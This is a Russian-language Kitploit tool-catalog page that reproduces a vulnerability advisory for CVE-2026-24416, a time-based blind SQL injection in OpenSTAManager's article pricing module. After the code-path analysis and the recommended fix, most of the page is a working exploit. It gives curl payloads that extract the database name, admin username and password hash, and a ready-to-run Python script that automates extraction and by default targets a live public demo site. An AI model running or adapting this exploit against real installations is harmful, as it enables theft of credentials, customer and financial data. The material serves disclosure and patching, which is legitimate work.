Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24416 — CVE-2026-24416 - OpenSTAManager содержит слепую SQL-инъекцию на основе времени в модуле ценообразования товаров. | Kitploit
Инструменты/GitHubGitHub/lukasz-rybak/cve-2026-24416
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager содержит слепую SQL-инъекцию на основе времени в модуле ценообразования товаров.

Репозиторий
4 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24416: OpenSTAManager имеет слепую SQL-инъекцию на основе времени в модуле ценообразования товаров

Обзор

ПолеДетали
CVE IDCVE-2026-24416
СерьёзностьВЫСОКАЯ
РекомендацияПосмотреть рекомендацию
ОбнаружилЛукаш Рыбак

Затронутые продукты

  • devcode-it/openstamanager (версии: <= 2.9.8)

Классификация CWE

  • CWE-89: Некорректная нейтрализация специальных элементов, используемых в SQL-команде ('SQL-инъекция')

Детали

Резюме

Критическая уязвимость слепой SQL-инъекции на основе времени в модуле ценообразования товаров OpenSTAManager v2.9.8 позволяет аутентифицированным злоумышленникам извлекать полное содержимое базы данных, включая учётные данные пользователей, данные клиентов и финансовые записи, с помощью атак на основе временных логических выводов (time-based Boolean inference).

Статус: ✅ Подтверждено и протестировано на живом экземпляре (v2.9.8) и demo.osmbusiness.it (v2.9.7) Уязвимый параметр: idarticolo (GET) Затронутая конечная точка: /ajax_complete.php?op=getprezzi Затронутый модуль: Articoli (Товары/Продукция)

Детали

OpenSTAManager v2.9.8 содержит критическую уязвимость слепой SQL-инъекции на основе времени в обработчике автодополнения цен на товары. Приложение не выполняет должную санитизацию параметра idarticolo перед использованием его в SQL-запросах, что позволяет злоумышленникам внедрять произвольные SQL-команды и извлекать конфиденциальные данные с помощью временной логической инференции.

Цепочка уязвимости:

  1. Точка входа: /ajax_complete.php (строка 27)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    Параметр op извлекается, но уязвимость кроется в других параметрах.

  2. Распределение: /src/AJAX.php::complete() (строка 189)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. Выполнение: /src/AJAX.php::getCompleteResults() (строка 402)

    root@kitploit:~
    require $file;
    

    Подключаются файлы complete.php, специфичные для модуля.

  4. Уязвимый параметр: /modules/articoli/ajax/complete.php (строка 26)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    Параметр idarticolo извлекается из GET-запроса.

  5. (строка 70)

Контекст — полная структура запроса (строки 39-74):

Уязвимый запрос является частью UNION-запроса, который получает историю цен из счетов и товарных накладных:

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ ПРАВИЛЬНО САНИТИЗИРОВАНО (строка 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ УЯЗВИМО - НЕТ prepare() (строка 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

Корневая причина: Разработчик правильно использовал prepare() в первом SELECT (строка 54), но забыл применить его во втором SELECT в UNION-запросе (строка 70), создав непоследовательный шаблон безопасности.

PoC

Шаг 1: Вход в систему

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Шаг 2: Проверка уязвимости (SLEEP на основе времени)

root@kitploit:~
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)
image

Шаг 3: Извлечение данных — имя базы данных

root@kitploit:~
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

Шаг 4: Извлечение конфиденциальных данных — учётные данные администратора

root@kitploit:~
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

Объяснение полезной нагрузки:

root@kitploit:~
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

Пример автоматизированного скрипта извлечения:

root@kitploit:~
import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
        
        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
        
        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()
image

Воздействие

Затронутые пользователи: Все аутентифицированные пользователи, имеющие доступ к функциональности ценообразования товаров (обычно пользователи, управляющие коммерческими предложениями, счетами и заказами).

Рекомендуемое исправление:

Файл: /modules/articoli/ajax/complete.php

ДО (уязвимо — строка 70):

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

ПОСЛЕ (исправлено):

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

Авторы

Обнаружил Лукаш Рыбак

Ссылки

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

Отказ от ответственности

Этот CVE был раскрыт ответственно, в соответствии с практиками скоординированного раскрытия уязвимостей. Предоставленная здесь информация предназначена только для образовательных и защитных целей.

Скачать инструмент
Уязвимый SQL-запрос:
/modules/articoli/ajax/complete.php
ОСНОВНАЯ УЯЗВИМОСТЬ
root@kitploit:~
FROM
    `dt_righe_ddt`
    INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
    INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

Воздействие: Прямая конкатенация $idarticolo без prepare(), тогда как $idanagrafica должным образом санитизируется.